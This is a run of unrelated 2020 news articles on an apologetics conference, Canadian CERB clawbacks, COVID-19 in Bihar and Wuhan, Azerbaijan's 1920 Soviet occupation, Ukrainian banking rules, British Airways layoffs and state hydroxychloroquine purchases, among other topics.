believers to intellectually defend the faith. He stressed that "without a return to morality and God, we stand to lose our Constitution." "It's been building for a number of years, but we're teetering on the brink of societal chaos and that will only escalate unless we return to Christ," added McFarland. McFarland's latest apologetics conference comes as the U.S. Supreme Court considers two cases which social conservatives argue showcase curbs on religious liberty by social liberals. Last December, the Supreme Court heard oral arguments in the case of Masterpiece Cakeshop v. Colorado Civil Rights Commission, which centers on whether a Christian baker can refuse to make a gay wedding cake due to his sincerely held religious objections. Earlier this week, the high court heard oral arguments in the case of National Institute of Family and Life Advocates v. Becerra, in which a California law that compels pro-life pregnancy centers to promote abortion is being challenged. In addition to McFarland, other notable speakers at the weekend conference will include Fox News contributor and author Todd Starnes, apologist and author Josh McDowell, former Islamic jihadist turned Christian evangelist Kamal Saleem, and Abraham Hamilton III, radio host at Urban Family Talk, among others. Hamilton told CP that he agreed to speak at the conference because he believed "there is a tremendous need in the body of Christ to be sharpened in the area of apologetics." "Due to the encroachments of postmodernism, moral relativism and secular humanism, Christians must be reoriented to the reality that God has provided all things that pertain to life and godliness for us in His word," said Hamilton. "We desperately need to raise up disciples who have thorough scriptural knowledge, a firm biblical worldview, know what they believe, why they believe it and are able to skillfully articulate that belief to a desperate and dying world." Hamilton told CP that he will be speaking about how "African Christianity Predates the Transatlantic Slave Trade." "I believe the Lord led me in this direction because the current cultural climate, especially the political tension and attendant racial-social tension, carries an insidious attack on the Gospel's advancement," explained Hamilton. "Unsurprisingly, God's Word has already provided the blueprint for victory over this attack, and the body of Christ is uniquely positioned to present the biblical answers to the questions of modern culture. But we must be equipped to do so effectively." As part of the conference agenda, the speakers will be part of a panel which will discuss the topic of whether Christianity is still relevant to American life. "Many would say it is not," noted McFarland to CP, citing as an example the death of the Rev. Billy Graham and the sense by some that his passing was proof that "Christian America is over." "Do we care enough to get involved and to try to encourage patriotism and citizenship and character? Do we care enough to try and save our nation? Because we're watching it unravel before our very eyes." It took federal Employment Minister Carla Qualtrough an agonizing 19 days to inform the public that she wanted Canadas Emergency Response Benefit (CERB) to be exempt from clawbacks under provincial and territorial social assistance and disability support programs. She did not make the announcement on television. In fact, she didnt make it at all. It was made through her spokesman to the Toronto Star on April 13. Some of us had been asking for this for more than two weeks and now its time to start asking the hard questions: Why the wait? Why did they not say this at the time? Why the silence from the Prime Minister? And why did the minister not make the statement herself? After all, this is federal money meant to go to the people who are eligible for it. It is not being made available to help provinces and territories balance their books on the backs of Canadas poorest people. So how are we to understand the lack of moral suasion with the provinces and territories? The first place to look is the pedigree of the CERB payment itself. It is an offshoot of Employment Insurance and an earnings replacement program. Traditionally such programs are deducted dollar for dollar from social assistance programs. But on April 2, just eight days after the CERB was introduced, the B.C. government stepped away from these traditional clawback polices as they correctly determined that the purpose of CERB was to help people stay safe, not just to replace earnings. B.C. went it alone but the expected gush of congratulation from Ottawa simply did not follow. The silence was deafening. Another week passed, an eternity in politics, until the government of Newfoundland made a public announcement that the CERB would be clawed back. It issued a statement saying people wouldnt be allowed to receive both provincial income support and the CERB at the same time. Then the floodgates opened. News reports and government announcements from Manitoba, Yukon, the Northwest Territories, Nova Scotia, P.E.I. and Alberta followed suit. It seemed the die had been cast. But Ontario had yet to make a move by the time Qualtroughs office issued its statement. And then everything changed. The Ontario Minister, Todd Smith, wanted to talk to Qualtrough to understand her position better. A week later, on April 20, Smith announced the CERB would be treated in the same way as earnings with a generous exemption that would allow recipients to receive more than half of the CERB without clawback. For good measure, he announced that clawed-back funds would be reinvested in social assistance and no one would be cut off. Then something curious happened late in the week of April 20. Both Alberta and Manitoba announced they would adopt the same policy as Ontario and apply their earnings exemptions to the CERB. Manitoba even announced it would not cut anyone off assistance during the crisis. Now the pressure is on the other provinces and dont think for a moment they arent feeling the pressure mount when three conservative and one NDP province, representing over two-thirds of Canadas population, are fully or partially exempting the CERB. But what turned the tide? Its clear it was Qualtroughs statement. For many, this answer will be inadequate. But for those who believe that moral suasion and direction on the part of federal ministers does not work, there is overwhelming evidence that it does. Especially when it comes to social assistance clawbacks. Former Liberal minister Monique Begin used it twice on child benefits and seniors benefits in the 1970s and 1980s. Another Liberal, Ken Dryden, used it three times with the Canada Learning Bond, education grants and RESPs in 2004 and 2005. Conservative Jim Flaherty used it twice with the Working Income Tax Benefit and the Registered Disability Savings Plan in 2007 and 2008. Seven instances of federal moral suasion resulted in seven successes. Minister Qualtrough is in the process of making it number eight. Six new cases of coronavirus were reported from Patna, as Bihar registered 68 cases Monday, its biggest single day spike so far, pushing its total tally of cases to 345, with two deaths so far. Munger reported the most number of cases after 22 people tested positive Monday from Sadar Bazar in Jamalpur sub-division, which has been listed under red zone. Rohtas reported 16 cases, forcing the district administration to enforce containment measures. The other cases during the day were reported from Bhojpur (7), Madhubani (5), Aurangabad (5), Lakhisarai (3), and one each from Saran, Nawada, Darbhanga and Purnia. Click here for full Covid-19 coverage Four of the six cases in Patna were tracked to a contact from Khajpura, said Patna district magistrate Kumar Ravi. The four belong to a private firm, which is engaged in housekeeping and sanitary work at the Patna airport. They were tracked as contacts of an executive of a firm, which handles operations of ATMs, said Ravi. The person, who tested positive for the virus around two days back, worked at the airport and resided as a tenant in the house of the CMS executive at Khajpura. We had collected samples of 39 people on Saturday after a cleaning staff at the airport was detected to be positive. Four of those samples have now tested positive, added Ravi. Besides, a two-year-old male child from Naubatpur, undergoing treatment at the Indira Gandhi Institute of Medical Sciences (IGIMS), has also tested positive for the virus during a routine check-up there. The child was admitted to the hospital for eye ailment, the DM said. The sixth case from Patna was of a 23-year-old male, studying at Manipal in Karnataka. The young student had travelled from Manipal to Jaipur and then to New Delhi, before boarding the Rajdhani Express on March 16 to reach Patna. The fact that the young man had tested positive after 45 days of his travel to New Delhi, has baffled health officials now. His location was tracked to Nizamuddin in New Delhi as part of around 4,000 mobile numbers sent by the home ministry to the health department. These were numbers picked up through mobile tower location of those having visited anywhere near 3-5 kms of the Nizamuddin Markaz. Meanwhile, authorities would now collect samples of officials of the Airports Authority of India (AAI) as well after five staff of an outsourced firm, tasked with housekeeping work, had tested positive. Though the government denied community transmission of the virus, state health authorities had not been able to ascertain the source of infection in any of the 68 cases detected on Monday. In his tweets, principal secretary, health, Sanjay Kumar, said, We are ascertaining their infection trail. It has been more than a fortnight he shared data on contact tracing of Covid-19 patients. As per the last data Kumar shared through a tweet, 60% cases were contracted by patients who came in contact with infected person; 27% had international travel history; 9% had domestic travel history from infected areas while contact tracing was pending in 4% cases. The number of Covid-19 cases in Bihar then was 70. The health department, however, had neither updated that data nor was updating on daily basis information about new red or containment zones in the state after the number of cases had shown a sudden spike in the past couple of days. The state had reported 53 cases on April 24. As per government data, Bihar had reported 164 cases in the last five days till Sunday. Darbhanga and Purnia were the new districts which reported positive cases of the virus. Of Bihars 345 cases, Munger reported 90, followed by Patna (39), Nalanda (34), Siwan (30), Buxar (25), Rohtas (31), Kaimur (14), Gopalganj (12), Begusarai (9), Bhojpur (9), Aurangabad (7), Gaya (6), Bhagalpur, East Chamapran, Madhubani (5 each), Arwal, Saran, Nawada, Lakhisarai (4 each), Banka, Vaishali, (2 each), Madhepura, Jehanabad, Darbhanga, Purnea (1 each). Fifty-seven people had so far recovered from the disease and discharged from government facilities so far in the state. SHARE THIS ARTICLE ON Second outbreak 'unlikely' in Wuhan: Exclusive with Jinyintan Hospital chief at center of the arduous fight Global Times By Guo Yuandan in Wuhan Source:Global Times Published: 2020/4/27 12:23:40 The Jinyintan Hospital in Wuhan, Central China's Hubei Province has been fighting the COVID-19 epidemic on the frontline for 119 days since the contagious infection-focused hospital received the first suspected case on December 27, 2019. The number of hospitalized COVID-19 patients in Wuhan dropped to zero on Sunday. The Jinyintan Hospital is also under sterilization and is expected to soon reopen to patients of other diseases. The possibility is very slim that another large outbreak would occur in Wuhan, Zhang Dingyu, head of Jinyintan Hospital, said during an exclusive interview with the Global Times on Friday, noting that the hospital will set up an area to treat sporadic COVID-19 cases after patients are all discharged. The Jinyintan Hospital has been quiet and empty. Zhang did not even bother to wear a mask when he was alone in his office. According to Zhang, the Jinyintan Hospital has not started to receive patients with other diseases. After COVID-19 patients are discharged, the whole hospital will conduct sterilizations, then begin to receive other contagious patients, such as those with tuberculosis, AIDS and hepatitis. "We will set up one or two inpatient areas to receive sporadic COVID-19 cases," Zhang said, adding that "the existence of COVID-9 patients here will not interfere with normal work in the hospital." Jinyintan Hospital had 21 employees infected with the COVID-19 during the epidemic, including nine medical staff. Zhang mentioned the frontline medical staff are very tired. He is arranging for them to rest and quarantine. "Everybody thought it was glorious to work on the frontline. Many demanded to participate," he said. "Our medical staff have been in high spirits. Nobody stepped away." Zhang held a reserved attitude toward the claim that "another outbreak of the novel coronavirus in autumn and winter will emerge again." "If the current prevention and control measures could be continued, it is very unlikely that a large-scale outbreak in Wuhan would recur. There will only be some sporadic cases or a small number of cluster cases." Zhang said that the COVID-19 epidemic is rare in human history but will not be normalized. Contagious diseases are not necessarily the main threat to human health, asserted Zhang. Because of the relatively large number of infections and the lack of particularly good treatment, COVID-19 has caused global panic. "Humans are very forgetful. Scars will soon heal, and the pain will be forgotten," said Zhang. Zhang noted that a pandemic like COVID-19 is "the first and certainly the last one" in his career. Such a pandemic only occurs on Earth one or two centuries, such as the Black Death in Europe and the 1918 Flu, he said. But Zhang also noted that medium-scale contagious diseases, such as H1N1 in 2009 and H7N9 in 2017, will appear every three to five years, or potentially every one or two years. Efforts of hospitals, medical staff in Wuhan recognized Medical staff all have a strong occupational sensitivity. Not only has Jinyintan Hospital made contributions, but other hospitals in Wuhan responded during the early stage of the pandemic. On December 27, 2019, a patient from Tongji Hospital was transferred to Jinyintan Hospital, and then Xinhua Hospital transferred seven similar patients with a history of exposure in the Huanan Seafood Market. Zhang decided to conduct bronchoalveolar lavage on patients as soon as he could to collect samples, which were then sent to the CDC of Dongxihu district and Wuhan Virology Institute for testing. If these actions weren't taken, it may have resulted in more cases of infection. Zhang attributed the correct measures of Jinyintan Hospital to measures "taken by other hospitals." The Wuhan Central Hospital has collected the bronchoalveolar lavage samples twice and sent them to a third-party testing institution to get the gene sequence. They concluded that the new virus is connected with SARS. In addition, Hubei Xinhua Hospital performed a pharyngeal swab test on seven patients with similar symptoms in the hospital, and no pathogen was detected. Zhang recalled that this was the second hint. Comparing the different results of the two hospitals, after analysis and judgment, Jinyintan Hospital decided to use bronchoalveolar lavage for sample collection. Bronchoalveolar lavage is an invasive operation. "If our hospital had not done it, it would have been negligence on our part." Some medics of Jinyintan Hospital recalled that Zhang became emotional and cried at a general meeting of the hospital. With patients flowing into the hospital, "more patients turned critical and critical patients were dying, I felt like my hands were tied," said Zhang. Medics felt helpless and under pressure when receiving and treating patients. Although medics have seen many deaths in their careers, the COVID-19 epidemic is different as patients were constantly dying of the same disease in such a short period of time, he said. "After taking some measures, patients, especially critical patients of other epidemic disease would turn better. But neither invasive respirators nor extracorporeal membrane oxygenation (ECMO) could save COVID-19 patients, which made medics helpless," Zhang said. Zhang convened a general meeting to encourage and mobilize everyone in the hospital to save the city and the world. Four months after the lockdown, Zhang said the horror would disappear in a period of time because "some effective measures were taken later including finding more methods to save severe and critical patients. More critical patients were saved and less of them were dying." Zhang said the strategy is not a single method or medical therapy but combined measures. "City lockdown, Fangcang makeshift hospitals, medical therapies to severe and critical patients and support from the national level all played a role." Jinyintan Hospital will keep receiving patients, but Zhang is handling the situation with confidence. He said, "You can still find strengthen and confidence from helplessness. Otherwise you will not survive. The strength is from confidence to our country and medical workers, which makes us believe the epidemic could be defeated." The combined measures included the support of medical teams from other provinces. From January 29 to February 25 before the arrival of the medics from the Chinese People's Liberation Army (PLA), Jinyintan Hospital had a shortage of medical workers. "We need doctors and need more nurses," said Zhang. As many as a dozen medical teams supported Jinyintan Hospital, including those from the PLA, Shanghai and other provinces. Zhang said he felt appreciation and was moved by their support. Zhang said there was no option for medics in Wuhan as it is their mission and duty, but these medical team members from all over China chose to come to Wuhan. Medical workers from the PLA and other provinces came to lend their support without hesitation. Medical teams received flowers and appreciation during and after fighting the epidemic in Wuhan. They were given an honorable salute upon leaving. Airports set up water arches to welcome them and provincial leaders visited them to hold meetings to spread their stories. However, medical workers in Wuhan are still fighting in the "battleground," and it seems that people have forgotten the hard time Wuhan medical workers went through when the epidemic first broke out. Zhang said he believes that Wuhan medical workers were protecting their own city and medical teams were protecting their compatriots. They were serving the same purpose, and they are all heroes. Zhang said that in addition to spiritual encouragement, the national and local government and hospitals gave great support to medical workers such as subsidies. Hero chief navigates contagious hospital through outbreak During the epidemic, Zhang concealed that he was suffering from amyotrophic lateral sclerosis (ALS) and worked on the frontline. He was praised as the "Superman President" by his colleagues in the hospital. On April 10, the organization department of Hubei Provincial Committee of the Communist Party of China (CPC) reported to the Hubei Provincial Committee for approval that Zhang Dingyu was one of four officials who had performed well in epidemic prevention and control. When the Wenchuan earthquake broke out in 2008, Zhang took the initiative to apply for a frontline job. From 1997 to 1999, he went to work in a medical team in Algeria for two years. He was also the first who joined a Doctors Without Borders program in Hubei Province and participated in a medical project in Pakistan. Zhang expressed the belief that a doctor is a humanitarian cause and a noble profession, so he makes conscious efforts to serve others. When he participated in the Doctors Without Borders program, Zhang found that doctors and nurses are very idealistic and compassionate, feeling happy when helping others. However, in the face of COVID-19, he felt more deeply that the strong mobilization mechanism of the country was the decisive factor in overcoming the epidemic. "It's a chronic disease, but now I'm being told that it may suddenly accelerate," Zhang said of his ALS. Apart from walking with a slight limp, there was no sign that Zhang was a patient, and he never felt like one. "Getting sick is a very personal thing. I didn't report it to my superior organization because I might have been exempted to work because of ALS, so I had to get those things done first," he said. Zhang said that the hospital's leaders have not been quarantined for vacation; he hopes to take a vacation soon. But he is still buried in the work of the hospital. "There will be some improvements in the hardware and software of the hospital after the epidemic. In terms of hardware, the hospital will build a 33,000 square meters of emergency ward building, which will play an important role in the control of infectious diseases in the future. There are also renovation works for the outpatient and ward buildings," he said. Zhang said the key to improving soft power is attracting talent. The hospital has built a platform for a translational medicine center, which runs a drug clinical trial institution, a post-doctoral mobile station, and a joint institute with the Chinese Academy of Sciences and the Chinese Academy of Medical Sciences. "My biggest hope is that we can attract some aspiring medical students or doctors to join our team through the platform. There is still a lot we can do," Zhang said. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Velo3D, a Campbell, Calif.-based digital manufacturing company, raised $28m in Series D funding round. New investors Piva and TNSC joined the round, along with existing investors Bessemer Investment Partners, Playground, and Khosla Ventures. This brings total funding to $138m. The company plans to use the new capital to expand its product portfolio to include more machine options, compatible alloys, and enhanced software and hardware capabilities. Founded in 2015 by Benny Buller, CEO, Velo3D provides integrated an solution of software, hardware, and process-control innovation for 3D metal printing. The company, which operated in stealth mode for the first 4 years, announced availability of the Sapphire printer in 2019. In that first year of commercialization, they generated nearly $30 million in sales serving customers in industries such as aerospace, oil & gas, and power generation in Japan, Korea, and Australia. FinSMEs 29/04/2020 By Akbar Mammadov Today marks 100 years since the occupation of Azerbaijan by Soviet Russia and the fall of the Azerbaijan Democratic Republic (ADR) that was the first secular, democratic state in the Muslim East. On 27 April 1920, the XI Red Army of the Soviet Russia entered the territory of the Azerbaijan Democratic Republic, and the head of Soviet Russia, Vladimir Ilyich Lenin, established the Azerbaijan Provisional Military Revolutionary Committee in Moscow under the chairmanship of Nariman Narimanov, Deputy People's Commissar in the Commissariat of National Affairs of Soviet Russia. To avoid massive bloodshed, the deputies complied with the demand and the ADR officially ceased to exist on April 28, 1920, giving way to the Azerbaijan Soviet Socialist Republic (Azerbaijan SSR) as its successor state, but the Soviet Russia had have completely different plans about ASSR. Historical and political conditions before Soviet occupation Moscow's intention to regain control of the vitally necessary region was strong and coherent, and on its way the Soviet government was ready to accept any concession. In 1918 and 1919 Soviet Russia rejected all attempts made by the ADR to establish diplomatic relations between the two. 1920 was marked by a diplomatic dispatch which started with a radiogram sent by Minister of Foreign Affairs Georgy Chicherin, which said: The government of the Russian Socialist Federative Republic reverts to Azerbaijan with an initiative to immediately launch talks with the Soviet government aiming at acceleration and finishing of the White army bodies in the South of Russia. In his response, Fatali Khan Khoyski, the head of the Azerbaijan government, insisted on non-interference in the internal affairs of the country. However, the Soviets considered this position as support rendered by Azerbaijan to the White army. Yalama battle and arrival of Soviet army to Baku On 27 April, a deadly battle took place between 350 Azerbaijani soldiers under the command of Agali Babazadeh, an officer of the Guba Regiment of the Azerbaijani National Army, including a group of volunteers led by Hamdulla Efendi and the Soviet Army of 70,000 soldiers at the Yalama station. After the beginning of a heavy battle, the positions of Azerbaijani artillerymen were destroyed by Soviet armored trains. The Russian paratroopers, backed by shrapnel and machine gun fire, attacked. The 350 fighters guarded the station until their last breath. The Russian paratroopers also suffered heavy losses in the battle. For example, one of the famous commanders of the XI Red Army, a veteran of the 28th division Nemikin also died in this battle. On April 27, at 11 pm, Bilajari station was captured by Soviet armored trains, and at 4 am, the "III International" armored train arrived at Baku station. On April 30, the main units of the 11th Army entered the city. On the same day, units of the 7th Cavalry Division entered Shamakhi and Agsu, and on May 1, Soviet armored trains overcame the resistance of Azerbaijani units and captured Ganja station. On the same day, ships of the Volga-Caspian navy entered the port of Baku. On May 3 and 4, naval landings were launched in Lankaran and Astara, later, on May 5-7, cavalry units of the 11th Army entered Gazakh, and Yevlakh districts. In mid-May 920, the 11th Army took control of almost the entire territory of the Azerbaijan Democratic Republic. Thus, as a result of Russian intervention, the government of the national government of Azerbaijan was overthrown. Consequences of the Soviet occupation In May 1920, a major uprising against the occupying Russian XI Army in Ganja, with the intention to restore ADR in power, however, the uprising was crushed by the Soviet troops by May 31. Leaders of the ADR either fled to the Democratic Republic of Georgia, Turkey and Iran, or were captured by the Bolsheviks and executed, including Gen. Salimov, Gen. Sulkevich, Gen. Agalarov in Caspian islands such as Nargin: a total of over 20 generals including Fatali Khan Khoyski and Behbudagha Javanshir were assassinated by Armenian militants. As result of the Soviet occupation, as many as 20,000 died resisting what was effectively a Russian reconquest. However, it has to be noted that the installation of the Azerbaijan Soviet Socialist Republic was made easier by the fact that there was a certain popular support for Bolshevik ideology in Azerbaijan, in particular among the industrial workers in Baku. --- Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97 Follow us on Twitter @AzerNewsAz The law increases the threshold amount of the financial operation, which should be monitored from 150,000 hryvnia up to 400,000 hryvnia ($5,526-$14,737) Open source April 28, the law, aiming to fight against the legalization of income, derived from crimes, entered into force in Ukraine. From today, the banking system will start to severely control all financial operations with cash (deposit, transfer, receiving money) and remittances in Ukraine and from abroad starting from 5,000 hryvnias ($184). It will be impossible to recharge a card through the cash deposit machine without identification. However, it does not concern money transfer from card to card as the bank card is already identified and the bank possesses all information about owners of the cards. This restriction does not mean that a person can split a particular sum into a few payments. A person can get the funds only without signs of the connection with other operations, which exceed $184 in total. The card and funds in such cases might be blocked and the bank will ask to provide explanations for the origin of the funds; if the bank finds the explanations inadequate then there will be no access to the funds. A person should file an application to the court for unblocking the funds. The new law also increases the threshold amount of the financial operation, which should be monitored from 150,000 hryvnias up to 400,000 hryvnias ($5,526-$14,737). Simultaneously, the number of signs, according to which the operation should be monitored, decreased from 17 to 4. Concerning the transfers within Ukraine, if the sum of the transfer is less than 30,000 hryvnia ($1,105), it should be filed with at least the account number of the payer and payee. If the sum is bigger, then, the detailed information should be provided. From today, it will be possible to open an account in the bank with the help of the video-conference, BankID, or electronic sign (without the personal presence of the client). As we reported, the National Bank of Ukraine (NBU) warned citizens of massive SMS-distribution from phone scammers. They represent themselves as bank workers, offering clients to get financial assistance from the bank during the quarantine. Doctors Without Borders have lamented their inability to offer medical services in regime controlled areas, after being refused entry on a number of occasions writes Zaitun News Agency. The Doctors Without Borders (MSF) organization revealed the obstacles it faces in moving its teams around regime-held areas of Syria, due to restrictions by the latter in allowing them to do their work. The statement came during a meeting at which the organization reviewed its work in helping Syrias fragile health system to face the coronavirus pandemic. MSF spokesperson Salwa Abu Shaqra said the organizations teams are facing many restrictions, hindering their access to areas under regime control. According to newspaper Asharq Al-Awsat, she pointed out that MSF had brought forth numerous requests to obtain access, and that all of them failed. Abu Shaqra added that the organizations usual activities, as well as those connected to the coronavirus pandemic, in regime-controlled areas are done in coordination with local Ministry of Health authorities. She pointed out that services provided by MSF in Syrias opposition-held north focus on reviewing triage systems and the flow of patients in the hospitals and medical centers that it supports in Idleb governorate, in order to ensure the rapid discovery of a possible coronavirus outbreak. Our working teams in northern Syria contribute to the Humanitarian Task Force on Coronavirus, which is headed by the local health authorities, Abu Shaqra said. She stressed that the coronavirus pandemic does not change the way that MSF operates in war zones, and that its work is to provide assistance to those who need it, without any form of discrimination, as the organization uses its independence and neutrality to negotiate with different parties to the conflict. This was in response to a question over how MSF deals with political divisions in the countries where it works. According to Abu Shaqra, the coronavirus pandemic has led to the exhaustion of the richest and best equipped health systems in the world, raising disturbing expectations worldwide for countries that are at war like Syria and Yemen. This article was translated and edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author. The king of the Konyak tribe sleeps in Myanmar, but eats in India -- his house, village and people divided by a mountain border which serves as a vulnerable lifeline now severed by a coronavirus lockdown. The Konyak are just one of dozens of Naga tribes, a people yearning to reunite the 3 million living in India with their 400,000 estranged -- and much poorer -- cousins in Myanmar's isolated far north. Many from Myanmar cross the border to attend school, sell vegetables or visit a hospital, as it is a days-long journeys by foot to the nearest town in Myanmar. Tonyei Phawng claims to be the 12th generation of his family to rule the Konyak, whose feared tattooed warriors once brought home their enemies' heads as trophies. His son, the crown prince, will one day take over in a lineage many believe possess supernatural powers. Dressed in civilian tracksuit and trainers in his village of Longwa, the 43-year-old king described to AFP in February how his Myanmar brothers were often stopped at the border and detained. Days later, the border was shuttered, not at the whim of Indian soldiers, but due to the threat of COVID-19. While the Indian government was providing some emergency rations, nothing had arrived from Myanmar authorities, Longwa-based tour guide Nahmai Konyak, 34, told AFP by phone. Those living hand-to-mouth in Myanmar are finding it very difficult, he said. "We just can't help them." Retreating British colonialists left behind the frontier after World War II, cleaving the Konyak tribe of 44 villages in two - alongside several other tribes. The Naga on both sides enjoy some degree of autonomy, but there is a huge disparity of development. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Against the backdrop of the ripple effect of coronavirus outbreak on global travel, British Airways is set to cut up to 12,000 jobs from its 42,000-strong workforce. The airlines parent company, IAG, said it needed to impose a restructuring and redundancy programme until demand for air travel returns to 2019 levels. In a statement Tuesday, IAG said the proposals remain subject to consultation, but it is likely that they will affect thousands of British Airways employees and may result in the redundancy of up to 12,000 of them. IAG also owns Spanish airline Iberia and Irelands Aer Lingus. The company said it will take several years for air travel to return to pre-virus levels. In the last few weeks, the outlook for the aviation industry has worsened further and we must take action now, BA chief executive Alex Cruz wrote in a letter to staff. We are a strong, well-managed business that has faced into, and overcome, many crises in our hundred-year history. We must overcome this crisis ourselves, too. There is no government bailout standing by for BA and we cannot expect the taxpayer to offset salaries indefinitely We will see some airlines go out of business. About 4,500 pilots and 16,000 cabin crew work for BA, which has already put almost 23,000 staff on furlough. Union kicks The BBC reports Tuesday that the pilots union, Balpa, said it was devastated at the news and vowed to fight every single job cut. Balpas general secretary Brian Strutton said: This has come as a bolt out of the blue from an airline that said it was wealthy enough to weather the Covid storm and declined any government support. Balpa does not accept that a case has been made for these job losses and we will be fighting to save every single one. Global Challenge IAG also revealed the impact of the virus outbreak on group revenues. According to the company, in the first three months of 2020, revenues fell 13% to 4.6bn (4bn), with projections that things may get worse. Airlines across the world have warned they face a fight for survival. In the UK, EasyJet has laid off its 4,000 UK-based cabin crew for two months, Qantas has put 20,000 staff on leave, while Air Canada has done the same for about 15,200 employees. Norwegian Air has said it could run out of cash by mid-May. At American Airlines, about 4,800 pilots have agreed to take unpaid short-term leave and more than 700 are taking early retirement. Last week, PREMIUM TIMES reported how Nigerias largest airline, Arik Air, cut salaries of its staff by 80 percent and placed many others on compulsory leave without pay. OKLAHOMA CITY - Republican state leaders in Oklahoma and Utah are facing scrutiny for spending millions of dollars combined to purchase malaria drugs promoted by President Trump to treat COVID-19 patients that many other states obtained for free and that doctors warned shouldnt be used without more testing. While governments in at least 20 other states obtained more than 30 million doses of the drug through donations from the federal reserve or private companies, Oklahoma and Utah instead bought them from private pharmaceutical companies. Top officials in both states chalked up the decisions to the fog of war. Oklahoma Gov. Kevin Stitt on Tuesday defended the states $2 million purchase, saying the drug was showing some promise. His health secretary attributed buying the 1.2 million hydroxychloroquine pills to something that happens in the fog of war. Utah Gov. Gary Herbert at first defended the states $800,000 purchase of 20,000 packets of hydroxychloroquine compounded with zinc, but has since ordered an investigation of a no-bid contract with a local company that had been promoting the drugs. Herbert, a Republican, also cancelled an additional plan to spend $8 million more to buy 200,000 additional treatments from the same company. A left-leaning non-profit group in Utah filed a price gouging complaint Tuesday with state regulators, arguing the $40 per pack drug was grossly overpriced. Oklahomas attorney general requested an investigative audit on Tuesday of its Department of Health over spending and warned the agency about retaliating against employees who report wrongful government activities under the states Whistleblower Act. A spokesman for Attorney General Mike Hunter declined to comment on whether the request was related to the $2 million spent on the drug. Doctors can already prescribe the malaria drug to patients with COVID-19, a practice known as off-label prescribing, and many do. But the U.S. Food and Drug Administration on Friday warned doctors against prescribing hydroxychloroquine for treating the coronavirus outside of hospitals or research settings because of reports of serious side effects, including irregular heart rhythms and death among patients. Preliminary results from a recent study done on coronavirus patients at U.S. veterans hospitals showed no benefit, casting more doubt on the drugs efficacy during the pandemic. Those were the latest admonitions against the drug that Trump has regularly promoted in public appearances, touting its potential despite his own health advisors telling him it is unproven. Oklahoma acquired 1.2 million pills, or about 100,000 doses, on April 4 from FFF Enterprises, a California-based medical supply wholesaler, according to the Oklahoma State Department of Health. Oklahoma state Rep. Melissa Provenzano, a Democrat from Tulsa, said the states purchase shows that Gov. Stitts actions dont follow his claim that he relies on data to drive his decisions. Two million dollars is a lot of money to waste, especially when we have unemployment claims approved yet going unpaid, health care professionals without proper protective equipment, and diagnosed cases and deaths continuing to rise, Provenzano said. Stitt, a first-term Republican, said hydroxychloroquine was showing some promise as a treatment in early March, and he didnt want Oklahoma to miss out on an opportunity to acquire it. Now theres some evidence the chloroquine may not be as effective, but I was being proactive to try and protect Oklahomans, Stitt said Tuesday when asked about the purchase. Thats always going to be my first instinct, to get the equipment and things we need that Im seeing in the future would help Oklahomans. Oklahomas Secretary of Health Jerome Loughridge said several physicians, including some in Oklahoma, were previously optimistic about the drugs promise in treating COVID-19. He added that the drug is also useful for treating lupus and some other auto-immune diseases, so the states supply will not have gone to waste. When we were battling sort of the fog of war at that point, we certainly acquired it on the potential that it would have utility, Loughridge said. Jeff Burton, a former adjutant general of the Utah National Guard chosen to lead the state health departments coronavirus task force, offered a similar explanation for why the state made its purchase. He said the state never received the pills and is trying to get its money back. I chalk it up to fog of war, Burton told the states pharmacy board. There was a lot going on. Its easy to judge it from (an) easy chair.. . . Since then weve decided that was not a wise purchase. Doctors in Oklahoma have been using the drug to treat patients with COVID-19, often in conjunction with a second drug, azithromiocin, but the results just are not that promising, said Dr. Douglas Drevets, chief of infectious diseases at University of Oklahoma Medicine. FFF Enterprises said its the companys policy not to comment on transactions with customers. Utah gave a local company called Meds in Motion the $800,000 contract without taking bids from other companies under emergency procurement rules, said Christopher Hughes, director of Utahs division of purchasing. State officials havent explained why they didnt seek to get the drugs for free. The Federal Emergency Management Agency said Saturday it has sent out 28.6 million tablets of hydroxychloroquine sulfate free of cost to states around the country. Several states including New York, Connecticut and Texas received donations of the medication from a private company based in New Jersey called Amneal Pharmaceutical, according to information compiled by The Associated Press. Utah taxpayers deserve to know what happened to allow a purchase that seems like a company taking advantage of the early, chaotic days of the pandemic, said Chase Thomas, executive director of the group called Alliance for a Better Utah that submitted the price gouging complaint. The complaint alleges Utah paid at least double the common price for the medication. Whether they were buying drugs we didnt need or paying too much for it when they could have gotten them for free, there just needed to be a lot more thought going into this, Thomas said. Meds in Motion didnt answer an email seeking comment about the allegations. Herbert declined to provide an update Tuesday about the investigation of the purchase. He said Friday the states legal counsel would aim to find out what, how and why it happened. He said he believed state officials acted in good faith as they scrambled to slow the spread of coronavirus, but acknowledged a mistake may have been made. I have some questions about how it came about, Herbert said Friday. Bottom line is, were not purchasing any more of this drug. ___ McCombs and Whitehurst reported from Salt Lake City. COVID-19 list of forms received for cleaning products for use, handling or storage in workplaces Note: This list is updated regularly, so please check back often. Certain cleaning products are regulated under the Hazardous Products Act (HPA), Hazardous Products Regulations (HPR) and, if applicable, the Hazardous Materials Information Review Act. Health Canada is expediting access to cleaning products to address product shortages during the COVID-19 pandemic. Manufacturers, importers and sellers are responsible for complying with the above-mentioned Acts and Regulations. There are potential hazards when using, handling or storing a hazardous product in the workplace. Workers should be aware of these hazards. Safety information for cleaning products regulated under the HPA/HPR is available through the list of forms below. These forms include a link to the importer's website, which contains safety information required under Canadian legislation. This information is in both official languages and consists of the Safety Data Sheet and label text details. Employers using products found on the list are encouraged to refer to this information and to communicate it to their employees. Employers and workers should also contact their occupational health and safety regulatory agency for any information about workplace safety. It is important to note that: Health Canada has not evaluated the products on this list. The importers of the products on this list have described them as cleaning products for use, handling or storage in workplaces As with all hazardous products regulated under the HPA/HPR, Health Canada has not reviewed the products for efficacy in killing bacteria or viruses, including the novel coronavirus responsible for COVID-19. The products on the list are neither approved nor endorsed by Health Canada for those purposes. Date Form Received by Health Canada Canadian Importer (supplier) Cleaning Product Name and Address of U.S. Supplier Website with Bilingual Label Text and Safety Data Sheet N.A. N.A. N.A. N.A. N.A. Related links Source: Xinhua| 2020-04-28 20:23:04|Editor: huaxia Video Player Close VIENNA, April 28 (Xinhua) -- The Organization of the Petroleum Exporting Countries (OPEC) daily basket price dropped to 13.30 U.S. dollars a barrel on Monday, compared with 14.31 dollars last Friday, according to OPEC Secretariat calculations released on 